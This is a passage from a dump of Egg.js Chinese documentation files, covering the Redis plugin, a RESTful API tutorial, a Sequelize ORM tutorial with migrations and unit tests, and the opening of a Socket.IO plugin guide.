ctx.app.redis.setex('temp', 60, '60秒后过期');\n\n    // 删除键\n    await ctx.app.redis.del('foo');\n\n    ctx.body = value;\n  }\n}\n```\n\n#### 多客户端\n\n使用多客户端模式时，通过 `app.redis.getSingletonInstance('clientName')` 获取对应的客户端实例：\n\n```ts\n// app/controller/home.ts\nimport { Context } from 'egg';\n\nexport default class HomeController {\n  async index(ctx: Context) {\n    const cache = ctx.app.redis.getSingletonInstance('cache');\n    const session = ctx.app.redis.getSingletonInstance('session');\n\n    await cache.set('key', 'value');\n    await session.set('sid', 'session-data');\n\n    ctx.body = await cache.get('key');\n  }\n}\n```\n\n### 常用命令\n\n插件支持所有 [ioredis 命令](https://redis.github.io/ioredis/classes/Redis.html)。以下是一些常用命令：\n\n| 命令       | 说明                       | 示例                                         |\n| ---------- | -------------------------- | -------------------------------------------- |\n| `set`      | 设置键值对                 | `await redis.set('key', 'value')`            |\n| `get`      | 获取值                     | `await redis.get('key')`                     |\n| `setex`    | 设置值并指定过期时间（秒） | `await redis.setex('key', 60, 'value')`      |\n| `del`      | 删除键                     | `await redis.del('key')`                     |\n| `incr`     | 自增                       | `await redis.incr('counter')`                |\n| `hset`     | 设置哈希字段               | `await redis.hset('hash', 'field', 'value')` |\n| `hget`     | 获取哈希字段               | `await redis.hget('hash', 'field')`          |\n| `lpush`    | 从左侧推入列表             | `await redis.lpush('list', 'value')`         |\n| `lpop`     | 从左侧弹出列表             | `await redis.lpop('list')`                   |\n| `sadd`     | 添加集合成员               | `await redis.sadd('set', 'member')`          |\n| `smembers` | 获取集合所有成员           | `await redis.smembers('set')`                |\n| `zadd`     | 添加有序集合成员           | `await redis.zadd('zset', 1, 'member')`      |\n\n### 在单元测试中使用 ioredis-mock\n\n你可以使用 [ioredis-mock](https://github.com/stipsan/ioredis-mock) 在单元测试中替代真实的 Redis 客户端，无需运行 Redis 服务器即可进行测试。\n\n#### 安装\n\n```bash\nnpm i --save-dev ioredis-mock @types/ioredis-mock\n```\n\n#### 配置\n\n```ts\n// config/config.unittest.ts\nimport RedisMock from 'ioredis-mock';\nimport type { EggAppInfo, PartialEggConfig } from 'egg';\n\nexport default function (_appInfo: EggAppInfo): PartialEggConfig {\n  return {\n    redis: {\n      Redis: RedisMock,\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n        weakDependent: true,\n      },\n    },\n  };\n}\n```\n\n> **重要**：使用 `ioredis-mock` 时必须设置 `weakDependent: true`。Mock 客户端会在构造时同步触发 `ready` 事件，早于插件的监听器注册。如果不设置 `weakDependent: true`，应用启动时会挂起。\n\n#### 优势\n\n- **更快的 CI**：无需启动 Redis Docker 容器\n- **更简单的本地开发**：运行测试不需要 Redis 服务器\n- **隔离性**：每个测试 worker 拥有独立的内存 Redis 实例\n- **兼容性**：支持大部分常用 Redis 命令\n\n> **注意**：生产环境部署测试仍应使用真实的 Redis 服务器。\n\n### 高级配置\n\n#### 弱依赖模式\n\n如果你的应用可以在 Redis 未就绪时启动（例如 Redis 仅用作缓存，非关键依赖）：\n\n```ts\n// config/config.default.ts\nexport default function () {\n  return {\n    redis: {\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n        weakDependent: true, // 应用启动不会等待 Redis 就绪\n      },\n    },\n  };\n}\n```\n\n#### 使用 Valkey\n\n[Valkey](https://valkey.io/) 是 Redis 的兼容分支。可以通过 `Redis` 配置项使用：\n\n```ts\nimport Valkey from 'iovalkey';\n\nexport default function () {\n  return {\n    redis: {\n      Redis: Valkey,\n      client: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: 0,\n      },\n    },\n  };\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/restful.md",
    "content": "# 实现 RESTful API\n\n通过 Web 技术开发服务，为客户端提供接口，可能是各个 Web 框架最广泛的应用之一。这篇文章我们拿 [CNode 社区](https://cnodejs.org/) 的接口来看一看，通过 Egg 如何实现 [RESTful](https://zh.wikipedia.org/wiki/REST) API，供客户端调用。\n\nCNode 社区现在的 v1 版本接口不是完全符合 RESTful 语义。在这篇文章中，我们将基于 CNode v1 的接口，封装一个更符合 RESTful 语义的 v2 版本 API。\n\n## 设计响应格式\n\n在 RESTful 风格的设计中，我们通过响应状态码标识响应的状态，保持响应的 body 简洁，只返回接口数据。以 `topics` 资源为例：\n\n### 获取主题列表\n\n- `GET /api/v2/topics`\n- 响应状态码：200\n- 响应体：\n\n```json\n[\n  {\n    \"id\": \"57ea257b3670ca3f44c5beb6\",\n    \"author_id\": \"541bf9b9ad60405c1f151a03\",\n    \"tab\": \"share\",\n    \"content\": \"content\",\n    \"last_reply_at\": \"2017-01-11T13:32:25.089Z\",\n    \"good\": false,\n    \"top\": true,\n    \"reply_count\": 155,\n    \"visit_count\": 28176,\n    \"create_at\": \"2016-09-27T07:53:31.872Z\"\n  },\n  {\n    \"id\": \"57ea257b3670ca3f44c5beb6\",\n    \"author_id\": \"541bf9b9ad60405c1f151a03\",\n    \"tab\": \"share\",\n    \"content\": \"content\",\n    \"title\": \"《一起学 Node.js》彻底重写完毕\",\n    \"last_reply_at\": \"2017-01-11T10:20:56.496Z\",\n    \"good\": false,\n    \"top\": true,\n    \"reply_count\": 193,\n    \"visit_count\": 47633\n  }\n]\n```\n\n### 获取单个主题\n\n- `GET /api/v2/topics/57ea257b3670ca3f44c5beb6`\n- 响应状态码：200\n- 响应体：\n\n```json\n{\n  \"id\": \"57ea257b3670ca3f44c5beb6\",\n  \"author_id\": \"541bf9b9ad60405c1f151a03\",\n  \"tab\": \"share\",\n  \"content\": \"content\",\n  \"title\": \"《一起学 Node.js》彻底重写完毕\",\n  \"last_reply_at\": \"2017-01-11T10:20:56.496Z\",\n  \"good\": false,\n  \"top\": true,\n  \"reply_count\": 193,\n  \"visit_count\": 47633\n}\n```\n\n### 创建主题\n\n- `POST /api/v2/topics`\n- 响应状态码：201\n- 响应体：\n\n```json\n{\n  \"topic_id\": \"57ea257b3670ca3f44c5beb6\"\n}\n```\n\n### 更新主题\n\n- `PUT /api/v2/topics/57ea257b3670ca3f44c5beb6`\n- 响应状态码：204\n- 响应体：空\n\n### 错误处理\n\n在接口处理发生错误时，如果是客户端请求参数导致的错误，我们返回 4xx 状态码；如果是服务端自身的处理逻辑错误，我们返回 5xx 状态码。所有异常对象都是对这个异常状态的描述，其中 `error` 字段是错误的描述，`detail` 字段（可选）是导致错误的详细原因。\n\n例如，当客户端传递的参数异常时，我们可能返回一个响应，状态码为 422，返回响应体为：\n\n```json\n{\n  \"error\": \"Validation Failed\",\n  \"detail\": [\n    {\n      \"message\": \"required\",\n      \"field\": \"title\",\n      \"code\": \"missing_field\"\n    }\n  ]\n}\n```\n\n## 实现\n\n在约定好接口之后，我们可以开始动手实现了。\n\n### 初始化项目\n\n还是通过[快速入门](../intro/quickstart.md)章节介绍的 `npm` 来初始化我们的应用：\n\n```bash\n$ mkdir cnode-api && cd cnode-api\n$ npm init egg --type=simple\n$ npm i\n```\n\n### 开启 validate 插件\n\n我们选择 [egg-validate](https://github.com/eggjs/egg-validate) 作为验证插件的示例。在 `config/plugin.js` 文件中开启它：\n\n```js\n// config/plugin.js\nexports.validate = {\n  enable: true,\n  package: 'egg-validate',\n};\n```\n\n### 注册路由\n\n首先，我们先按照前面的设计来注册[路由](../basics/router.md)，框架提供了一个便捷的方式来创建 RESTful 风格的路由，并将一个资源的接口映射到对应的 controller 文件。在 `app/router.js` 中编写：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  app.router.resources('topics', '/api/v2/topics', app.controller.topics);\n};\n```\n\n通过 `app.resources` 方法，我们将 `topics` 这个资源的增删改查接口映射到了 `app/controller/topics.js` 文件。\n\n### controller 开发\n\n在 [controller](../basics/controller.md) 中，我们只需要实现 `app.resources` 约定的 [RESTful 风格的 URL 定义](../basics/router.md#restful-风格的-url-定义) 中我们需要提供的接口即可。例如我们来实现创建一个 `topics` 的接口：\n\n```js\n// app/controller/topics.js\nconst Controller = require('egg').Controller;\n\n// 定义创建接口的请求参数规则\nconst createRule = {\n  accesstoken: 'string',\n  title: 'string',\n  tab: { type: 'enum', values: ['ask', 'share', 'job'], required: false },\n  content: 'string',\n};\n\nclass TopicController extends Controller {\n  async create() {\n    const ctx = this.ctx;\n    // 校验 `ctx.request.body` 是否符合我们预期的格式\n    // 如果参数校验未通过，将会抛出一个 status = 422 的异常\n    ctx.validate(createRule, ctx.request.body);\n    // 调用 service 创建一个 topic\n    const id = await ctx.service.topics.create(ctx.request.body);\n    // 设置响应体和状态码\n    ctx.body = {\n      topic_id: id,\n    };\n    ctx.status = 201;\n  }\n}\nmodule.exports = TopicController;\n```\n\n如同注释中说明的，一个 Controller 主要实现了下面的逻辑：\n\n1. 调用 validate 方法对请求参数进行验证。\n2. 用验证过的参数调用 service 封装的业务逻辑来创建一个 topic。\n3. 按照接口约定的格式设置响应状态码和内容。\n\n### service 开发\n\n在 [service](../basics/service.md) 中，我们可以更加专注地编写实际生效的业务逻辑。\n\n```js\n// app/service/topics.js\nconst Service = require('egg').Service;\n\nclass TopicService extends Service {\n  constructor(ctx) {\n    super(ctx);\n    this.root = 'https://cnodejs.org/api/v1';\n  }\n\n  async create(params) {\n    // 调用 CNode V1 版本 API\n    const result = await this.ctx.curl(`${this.root}/topics`, {\n      method: 'post',\n      data: params,\n      dataType: 'json',\n      contentType: 'json',\n    });\n    // 检查调用是否成功，如果调用失败会抛出异常\n    this.checkSuccess(result);\n    // 返回创建的 topic 的 id\n    return result.data.topic_id;\n  }\n\n  // 封装统一的调用检查函数，可以在查询、创建和更新等 Service 中复用\n  checkSuccess(result) {\n    if (result.status !== 200) {\n      const errorMsg =\n        result.data && result.data.error_msg\n          ? result.data.error_msg\n          : 'unknown error';\n      this.ctx.throw(result.status, errorMsg);\n    }\n    if (!result.data.success) {\n      // 远程调用返回格式错误\n      this.ctx.throw(500, 'remote response error', { data: result.data });\n    }\n  }\n}\n\nmodule.exports = TopicService;\n```\n\n在创建 `topic` 的 `Service` 开发完成之后，我们就从上往下的完成了一个接口### 统一错误处理\n\n正常的业务逻辑已经完成，但是异常我们还没有进行处理。在前面编写的代码中，Controller 和 Service 都可能抛出异常，这是我们推荐的编码方式，当发现客户端参数错误或调用后端服务异常时，通过抛出异常的方式来中断操作。\n\n- Controller 中通过 `this.ctx.validate()` 进行参数校验，校验失败时抛出异常。\n- Service 中调用了 `this.ctx.curl()` 方法访问 CNode 服务，可能会因网络问题等情况抛出服务端异常。\n- Service 中拿到 CNode 服务端返回的结果后，也可能会收到请求调用失败的返回结果，此时同样会抛出异常。\n\n尽管框架提供了默认的异常处理方式，但可能与我们之前接口的约定不一致，因此需要自己实现一个统一错误处理的中间件来处理异常。\n\n在 `app/middleware` 目录下新建一个 `error_handler.js` 文件，创建一个中间件：\n\n```js\n// app/middleware/error_handler.js\nmodule.exports = () => {\n  return async function errorHandler(ctx, next) {\n    try {\n      await next();\n    } catch (err) {\n      // 所有的异常都会触发 app 上的一个 error 事件，框架会记录一条错误日志\n      ctx.app.emit('error', err, ctx);\n\n      const status = err.status || 500;\n      // 在生产环境中，500 错误的详细内容不返回给客户端，因为可能含有敏感信息\n      const error =\n        status === 500 && ctx.app.config.env === 'prod'\n          ? 'Internal Server Error'\n          : err.message;\n\n      // 从 error 对象读出各属性，设置到响应中\n      ctx.body = { error };\n      if (status === 422) {\n        ctx.body.detail = err.errors;\n      }\n      ctx.status = status;\n    }\n  };\n};\n```\n\n通过这个中间件，可以捕获所有异常，并以我们想要的格式组织响应内容。接下来需在配置文件 (`config/config.default.js`) 中加载这个中间件：\n\n```js\n// config/config.default.js\nmodule.exports = {\n  // 加载 errorHandler 中间件\n  middleware: ['errorHandler'],\n  // 只对以 /api 为前缀的 URL 路径生效\n  errorHandler: {\n    match: '/api',\n  },\n};\n```\n\n## 测试\n\n代码完成只是第一步，我们还需要给代码加上[单元测试](../core/unittest.md)。\n\n### Controller 测试\n\n我们先来编写 Controller 代码的单元测试。在写 Controller 单测的时候，我们可以适时地模拟 Service 层的实现，因为对 Controller 的单元测试而言，最重要的部分是测试自身的逻辑，而 Service 层按照约定的接口模拟（mock）掉，Service 自身的逻辑可以让 Service 的单元测试来覆盖，这样我们开发的时候也可以分层进行开发测试。\n\n```js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/app/controller/topics.test.js', () => {\n  // 测试请求参数错误时应用的响应\n  it('should POST /api/v2/topics/ 422', () => {\n    app.mockCsrf();\n    return app\n      .httpRequest()\n      .post('/api/v2/topics')\n      .send({\n        accesstoken: '123',\n      })\n      .expect(422)\n      .expect({\n        error: 'Validation Failed',\n        detail: [\n          { message: 'required', field: 'title', code: 'missing_field' },\n          { message: 'required', field: 'content', code: 'missing_field' },\n        ],\n      });\n  });\n\n  // mock 掉 service 层，测试正常时的返回\n  it('should POST /api/v2/topics/ 201', () => {\n    app.mockCsrf();\n    app.mockService('topics', 'create', 123);\n    return app\n      .httpRequest()\n      .post('/api/v2/topics')\n      .send({\n        accesstoken: '123',\n        title: 'title',\n        content: 'hello',\n      })\n      .expect(201)\n      .expect({\n        topic_id: 123,\n      });\n  });\n});\n```\n\n上面对 Controller 的测试中，我们通过 [egg-mock](https://github.com/eggjs/egg-mock) 创建了一个应用，并通过 [SuperTest](https://github.com/visionmedia/supertest) 来模拟客户端发送请求进行测试。在测试中我们会模拟 Service 层的响应来测试 Controller 层的处理逻辑。\n\n### Service 测试\n\nService 层的测试也只需要聚焦于自身的代码逻辑，[egg-mock](https://github.com/eggjs/egg-mock) 同样提供了快速测试 Service 的方法，不再需要用 SuperTest 模拟从客户端发起请求，而是直接调用 Service 中的方法进行测试。\n\n```js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/app/service/topics.test.js', () => {\n  let ctx;\n\n  beforeEach(() => {\n    // 创建一个匿名的 context 对象，可以在 ctx 对象上调用 service 的方法\n    ctx = app.mockContext();\n  });\n\n  describe('create()', () => {\n    it('should create failed by accesstoken error', async () => {\n      try {\n        await ctx.service.topics.create({\n          accesstoken: 'hello',\n          title: 'title',\n          content: 'content',\n        });\n      } catch (err) {\n        assert(err.status === 401);\n        assert(err.message === '错误的accessToken');\n        return;\n      }\n      throw 'should not run here';\n    });\n\n    it('should create success', async () => {\n      // 不影响 CNode 的正常运行，我们可以将对 CNode 的调用按照接口约定模拟掉\n      // app.mockHttpclient 方法可以便捷地对应用发起的 http 请求进行模拟\n      app.mockHttpclient(`${ctx.service.topics.root}/topics`, 'POST', {\n        data: {\n          success: true,\n          topic_id: '5433d5e4e737cbe96dcef312',\n        },\n      });\n\n      const id = await ctx.service.topics.create({\n        accesstoken: 'hello',\n        title: 'title',\n        content: 'content',\n      });\n      assert(id === '5433d5e4e737cbe96dcef312');\n    });\n  });\n});\n```\n\n上面对 Service 层的测试中，我们通过 egg-mock 提供的 `app.mockContext()` 方法创建了一个 Context 对象，并直接调用 Context 上的 Service 方法进行测试，测试时可以通过 `app.mockHttpclient()` 方法模拟 HTTP 调用的响应，让我们剥离环境的影响而专注于 Service 自身逻辑的测试上。\n\n---\n\n完整的代码实现和测试都在 [eggjs/examples/cnode-api](https://github.com/eggjs/examples/tree/master/cnode-api) 中可以找到。\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/sequelize.md",
    "content": "# Sequelize\n\n在前面的章节中，我们介绍了如何在框架中通过 [egg-mysql] 插件来访问数据库。在一些较为复杂的应用中，我们可能会需要一个 ORM 框架来帮助我们管理数据层的代码。在 Node.js 社区中，[sequelize] 是一个广泛使用的 ORM 框架，它支持 MySQL、PostgreSQL、SQLite 和 MSSQL 等多个数据源。\n\n本章节，我们将通过开发一个对 MySQL 中 `users` 表的数据做 CURD 操作的例子，一步步介绍如何在 egg 项目中使用 sequelize。\n\n## 准备工作\n\n在这个例子中，我们将使用 sequelize 连接到 MySQL 数据源。因此，在开始编写代码之前，我们需要先在本机上安装好 MySQL。如果是 MacOS，可以通过 homebrew 快速安装：\n\n```bash\nbrew install mysql\nbrew services start mysql\n```\n\n## 初始化项目\n\n通过 `npm` 初始化一个项目：\n\n```bash\n$ mkdir sequelize-project && cd sequelize-project\n$ npm init egg --type=simple\n$ npm i\n```\n\n安装并配置 [egg-sequelize] 插件（它会辅助我们将定义好的 Model 对象加载到 app 和 ctx 上）和 [mysql2] 模块：\n\n- 安装\n\n```bash\nnpm install --save egg-sequelize mysql2\n```\n\n- 在 `config/plugin.js` 中引入 egg-sequelize 插件\n\n```js\nexports.sequelize = {\n  enable: true,\n  package: 'egg-sequelize',\n};\n```\n\n- 在 `config/config.default.js` 中编写 sequelize 配置\n\n```js\nexports.sequelize = {\n  dialect: 'mysql',\n  host: '127.0.0.1',\n  port: 3306,\n  database: 'egg-sequelize-doc-default',\n};\n```\n\n我们可以在不同的环境配置中配置不同的数据源地址，以区分不同环境使用的数据库。例如，我们可以新建一个 `config/config.unittest.js` 配置文件，写入以下配置，将单元测试时连接的数据库指向 `egg-sequelize-doc-unittest`。\n\n```js\nexports.sequelize = {\n  dialect: 'mysql',\n  host: '127.0.0.1',\n  port: 3306,\n  database: 'egg-sequelize-doc-unittest',\n};\n```\n\n完成上述配置之后，一个使用 sequelize 的项目就初始化完成了。[egg-sequelize] 和 [sequelize] 还支持更多的配置项，你可以在他们的文档中找到。\n\n## 初始化数据库和 Migrations\n\n接下来我们先暂时离开 egg 项目的代码，设计和初始化一下我们的数据库。首先我们通过 MySQL 命令在本地快速创建开发和测试要用到的两个数据库：\n\n```bash\nmysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-default`;'\nmysql -u root -e 'CREATE DATABASE IF NOT EXISTS `egg-sequelize-doc-unittest`;'\n```\n\n然后我们开始设计 `users` 表，它有如下的数据结构：\n\n```sql\nCREATE TABLE `users` (\n  `id` INT(11) NOT NULL AUTO_INCREMENT COMMENT 'primary key',\n  `name` VARCHAR(30) DEFAULT NULL COMMENT 'user name',\n  `age` INT(11) DEFAULT NULL COMMENT 'user age',\n  `created_at` DATETIME DEFAULT NULL COMMENT 'created time',\n  `updated_at` DATETIME DEFAULT NULL COMMENT 'updated time',\n  PRIMARY KEY (`id`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='user';\n```\n\n我们可以直接通过 MySQL 命令将表直接建好，但是这并不是一个对多人协作非常友好的开发模式。在项目的演进过程中，每一个迭代都有可能对数据库数据结构做变更，怎样跟踪每一个迭代的数据变更，并在不同的环境（开发、测试、CI）和迭代切换中，快速变更数据结构呢？这时候我们就需要 `Migrations` 来帮我们管理数据结构的变更了。\n\nsequelize 提供了 `sequelize-cli` 工具来实现 `Migrations`，我们也可以在 egg 项目中引入 sequelize-cli。\n\n- 安装 sequelize-cli\n\n```bash\nnpm install --save-dev sequelize-cli\n```\n\n在 egg 项目中，我们希望将所有数据库 Migrations 相关的内容都放在 `database` 目录下，所以我们在项目根目录下新建一个 `.sequelizerc` 配置文件：\n\n```js\n'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  config: path.join(__dirname, 'database/config.json'),\n  'migrations-path': path.join(__dirname, 'database/migrations'),\n  'seeders-path': path.join(__dirname, 'database/seeders'),\n  'models-path': path.join(__dirname, 'app/model'),\n};\n```\n\n- 初始化 Migrations 配置文件和目录\n\n```bash\nnpx sequelize init:config\nnpx sequelize init:migrations\n```\n\n执行完后会生成 `database/config.json` 文件和 `database/migrations` 目录，我们修改一下 `database/config.json` 中的内容，将其改成我们项目中使用的数据库配置：\n\n```json\n{\n  \"development\": {\n    \"username\": \"root\",\n    \"password\": null,\n    \"database\": \"egg-sequelize-doc-default\",\n    \"host\": \"127.0.0.1\",\n    \"dialect\": \"mysql\"\n  },\n  \"test\": {\n    \"username\": \"root\",\n    \"password\": null,\n    \"database\": \"egg-sequelize-doc-unittest\",\n    \"host\": \"127.0.0.1\",\n    \"dialect\": \"mysql\"\n  }\n}\n```\n\n此时 sequelize-cli 和相关的配置也都初始化好了，我们可以开始编写项目的第一个 Migration 文件来创建我们的一个 `users` 表了。\n\n```bash\nnpx sequelize migration:generate --name=init-users\n```\n\n执行完后会在 `database/migrations` 目录下生成一个 migration 文件（`${timestamp}-init-users.js`），我们修改它来处理初始化 `users` 表：\n\n```js\n'use strict';\n\nmodule.exports = {\n  // 在执行数据库升级时调用的函数，创建 users 表\n  up: async (queryInterface, Sequelize) => {\n    const { INTEGER, DATE, STRING } = Sequelize;\n    await queryInterface.createTable('users', {\n      id: { type: INTEGER, primaryKey: true, autoIncrement: true },\n      name: STRING(30),\n      age: INTEGER,\n      created_at: DATE,\n      updated_at: DATE,\n    });\n  },\n  // 在执行数据库降级时调用的函数，删除 users 表\n  down: async (queryInterface) => {\n    await queryInterface.dropTable('users');\n  },\n};\n```\n\n- 执行 migrate 进行数据库变更\n\n```bash\n# 升级数据库\nnpx sequelize db:migrate\n\n# 如果有问题需要回滚，可以通过 `db:migrate:undo` 回退一个变更\n\n# npx sequelize db:migrate:undo\n\n# 可以通过 `db:migrate:undo:all` 回退到初始状态\n```\n\n# NPX Sequelize DB:Migrate:Undo:All\n\n执行之后，我们的数据库初始化就完成了。\n\n## 编写代码\n\n现在终于可以开始编写代码实现业务逻辑了。首先我们来在 `app/model/` 目录下编写 `user` 这个 Model：\n\n```js\n'use strict';\n\nmodule.exports = (app) => {\n  const { STRING, INTEGER, DATE } = app.Sequelize;\n\n  const User = app.model.define('user', {\n    id: { type: INTEGER, primaryKey: true, autoIncrement: true },\n    name: STRING(30),\n    age: INTEGER,\n    created_at: DATE,\n    updated_at: DATE,\n  });\n\n  return User;\n};\n```\n\n这个 Model 就可以在 Controller 和 Service 中通过 `app.model.User` 或者 `ctx.model.User` 访问到了。例如，我们编写 `app/controller/users.js`：\n\n```js\n// app/controller/users.js\nconst Controller = require('egg').Controller;\n\nfunction toInt(str) {\n  if (typeof str === 'number') return str;\n  if (!str) return str;\n  return parseInt(str, 10) || 0;\n}\n\nclass UserController extends Controller {\n  async index() {\n    const ctx = this.ctx;\n    const query = {\n      limit: toInt(ctx.query.limit),\n      offset: toInt(ctx.query.offset),\n    };\n    ctx.body = await ctx.model.User.findAll(query);\n  }\n\n  async show() {\n    const ctx = this.ctx;\n    ctx.body = await ctx.model.User.findByPk(toInt(ctx.params.id));\n  }\n\n  async create() {\n    const ctx = this.ctx;\n    const { name, age } = ctx.request.body;\n    const user = await ctx.model.User.create({ name, age });\n    ctx.status = 201;\n    ctx.body = user;\n  }\n\n  async update() {\n    const ctx = this.ctx;\n    const id = toInt(ctx.params.id);\n    const user = await ctx.model.User.findByPk(id);\n    if (!user) {\n      ctx.status = 404;\n      return;\n    }\n\n    const { name, age } = ctx.request.body;\n    await user.update({ name, age });\n    ctx.body = user;\n  }\n\n  async destroy() {\n    const ctx = this.ctx;\n    const id = toInt(ctx.params.id);\n    const user = await ctx.model.User.findByPk(id);\n    if (!user) {\n      ctx.status = 404;\n      return;\n    }\n\n    await user.destroy();\n    ctx.status = 200;\n  }\n}\n\nmodule.exports = UserController;\n```\n\n最后，我们将这个 controller 挂载到路由上：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.resources('users', '/users', controller.users);\n};\n```\n\n针对 `users` 表的 CURD 操作的接口就开发完了。为了验证代码逻辑是否正确，我们接下来需要编写单元测试来验证。\n\n## 单元测试\n\n在编写测试之前，由于在前面的 egg 配置中，我们将单元测试环境和开发环境指向了不同的数据库，因此需要通过 Migrations 来初始化测试数据库的数据结构：\n\n```bash\nNODE_ENV=test npx sequelize db:migrate:up\n```\n\n有数据库访问的单元测试直接写起来会特别繁琐，特别是很多接口我们需要创建一系列的数据才能进行，造测试数据是一个非常繁琐的过程。为了简化单测，我们可以通过 [factory-girl] 模块来快速创建测试数据。\n\n- 安装 `factory-girl` 依赖\n\n  ```bash\n  npm install --save-dev factory-girl\n  ```\n\n- 定义 `factory-girl` 的数据模型到 `test/factories.js` 中\n\n  ```js\n  // test/factories.js\n  'use strict';\n\n  const { factory } = require('factory-girl');\n\n  module.exports = (app) => {\n    // 可以通过 app.factory 访问 factory 实例\n    app.factory = factory;\n\n    // 定义 user 模型和默认数据\n    factory.define('user', app.model.User, {\n      name: factory.sequence('User.name', (n) => `name_${n}`),\n      age: 18,\n    });\n  };\n  ```\n\n- 初始化文件 `test/.setup.js`，引入 factory，并确保测试执行完后清理数据，避免被影响。\n\n  ```js\n  const { app } = require('egg-mock/bootstrap');\n  const factories = require('./factories');\n\n  before(() => factories(app));\n  afterEach(async () => {\n    // 在每个测试案例执行完后清理数据库\n    await Promise.all([\n      app.model.User.destroy({ truncate: true, force: true }),\n    ]);\n  });\n  ```\n\n接下来我们就可以开始编写真正的测试用例了：\n\n```js\n// test/app/controller/users.test.js\nconst { assert, app } = require('egg-mock/bootstrap');\n\ndescribe('test/app/controller/users.test.js', () => {\n  describe('GET /users', () => {\n    it('should work', async () => {\n      // 通过 factory-girl 快速创建用户对象到数据库中\n      await app.factory.createMany('user', 3);\n      const res = await app.httpRequest().get('/users?limit=2');\n      assert(res.status === 200);\n      assert(res.body.length === 2);\n      assert(res.body[0].name);\n      assert(res.body[0].age);\n    });\n  });\n\n  describe('GET /users/:id', () => {\n    it('should work', async () => {\n      const user = await app.factory.create('user');\n      const res = await app.httpRequest().get(`/users/${user.id}`);\n      assert(res.status === 200);\n      assert(res.body.age === user.age);\n    });\n  });\n\n  describe('POST /users', () => {\n    it('should work', async () => {\n      app.mockCsrf();\n      let res = await app.httpRequest().post('/users').send({\n        age: 10,\n        name: 'name',\n      });\n      assert(res.status === 201);\n      assert(res.body.id);\n\n      res = await app.httpRequest().get(`/users/${res.body.id}`);\n      assert(res.status === 200);\n      assert(res.body.name === 'name');\n    });\n  });\n\n  describe('DELETE /users/:id', () => {\n    it('should work', async () => {\n      const user = await app.factory.create('user');\n\n      app.mockCsrf();\n      const res = await app.httpRequest().delete(`/users/${user.id}`);\n      assert(res.status === 200);\n    });\n  });\n});\n```\n\n最后，如果我们需要在 CI 中运行单元测试，需要确保在执行测试代码之前，执行一次 migrate 确保数据结构更新，例如我们在 `package.json` 中声明 `scripts.ci` 来在 CI 环境下执行单元测试：\n\n```json\n{\n  \"scripts\": {\n    \"ci\": \"eslint . && NODE_ENV=test npx sequelize db:migrate && egg-bin cov\"\n  }\n}\n```\n\n## 完整示例\n\n更完整的示例可以查看 [eggjs/examples/sequelize]。\n\n## 脚手架\n\n我们也提供了 sequelize 的脚手架，集成了文档中提供的 [egg-sequelize]、[sequelize-cli] 与 [factory-girl] 等模块。你可以通过 `npm init egg --type=sequelize` 来基于它快速初始化一个新的应用。\n\n[mysql2]: https://github.com/sidorares/node-mysql2\n[sequelize]: http://docs.sequelizejs.com/\n[sequelize-cli]: https://github.com/sequelize/cli\n[egg-sequelize]: https://github.com/eggjs/egg-sequelize\n[migrations]: http://docs.sequelizejs.com/manual/tutorial/migrations.html\n[factory-girl]: https://github.com/aexmachina/factory-girl\n[eggjs/examples/sequelize]: https://github.com/eggjs/examples/tree/master/sequelize\n[egg-mysql]: https://github.com/eggjs/egg-mysql\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/socketio.md",
    "content": "# Socket.IO\n\n**Socket.IO** 是一个基于 Node.js 的实时应用程序框架。在即时通讯、通知与消息推送，实时分析等场景中有较为广泛的应用。\n\nWebSocket 的产生源于 Web 开发中日益增长的实时通信需求。对比传统的基于 http 的轮询方式，它大大节约了网络带宽，同时也降低了服务器的性能消耗。`socket.io` 支持 websocket 和 polling 两种数据传输方式，以兼容不支持 WebSocket 的浏览器。\n\n框架提供了 `egg-socket.io` 插件，增加了以下开发规约：\n\n- namespace：通过配置的方式定义 namespace（命名空间）。\n- middleware：对每一次 socket 连接的建立/断开、每一次消息/数据传递进行预处理。\n- controller：响应 `socket.io` 的 event 事件。\n- router：统一了 `socket.io` 的 event 与框架路由的处理配置方式。\n\n## 安装 egg-socket.io\n\n### 安装\n\n```bash\n$ npm i egg-socket.io --save\n```\n\n**开启插件：**\n\n```javascript\n// {app_root}/config/plugin.js\nexports.io = {\n  enable: true,\n  package: 'egg-socket.io',\n};\n```\n\n### 配置\n\n```javascript\n// {app_root}/config/config.${env}.js\nexports.io = {\n  init: {}, // 传递给 engine.io\n  namespace: {\n    '/': {\n      connectionMiddleware: [],\n      packetMiddleware: [],\n    },\n    '/example': {\n      connectionMiddleware: [],\n      packetMiddleware: [],\n    },\n  },\n};\n```\n\n> 命名空间为 `/` 与 `/example`，而不是 `example`。\n\n#### uws\n\n**Egg Socket 内部默认使用 `ws` 引擎。`uws` 因为[某些原因](https://github.com/socketio/socket.io/issues/3319)被废止了。**\n\n如果坚持要使用 `uws`，请按照以下配置：\n\n```javascript\n// {app_root}/config/config.${env}.js\nexports.io = {\n  init: { wsEngine: 'uws' }, // 默认是 ws\n};\n```\n\n#### redis\n\n`egg-socket.io` 内置了 `socket.io-redis`。在 cluster 模式下，使用 redis 可以简单地实现 clients/rooms 等信息共享。\n\n```javascript\n// {app_root}/config/config.${env}.js\nexports.io = {\n    redis: {\n        host: { redis server host },\n        port: { redis server port },\n        auth_pass: { redis server password },\n        db: 0,\n    },\n};\n```\n\n> 开启 `redis` 后，程序在启动时会尝试连接到 redis 服务器。此处的 `redis` 仅用于存储连接实例信息，详见 [#server.adapter](https://socket.io/docs/server-api/#server-adapter-value)。\n\n**注意：**\n如果项目中同时使用了 `@eggjs/redis`，请分别配置，不可共用。\n\n### 部署\n\n由于框架是以 Cluster 方式启动的，而 `socket.io` 协议实现需要 sticky 特性支持，在多进程模式下才能正常工作。\n\n由于 `socket.io` 的设计，多进程服务器必须在 `sticky` 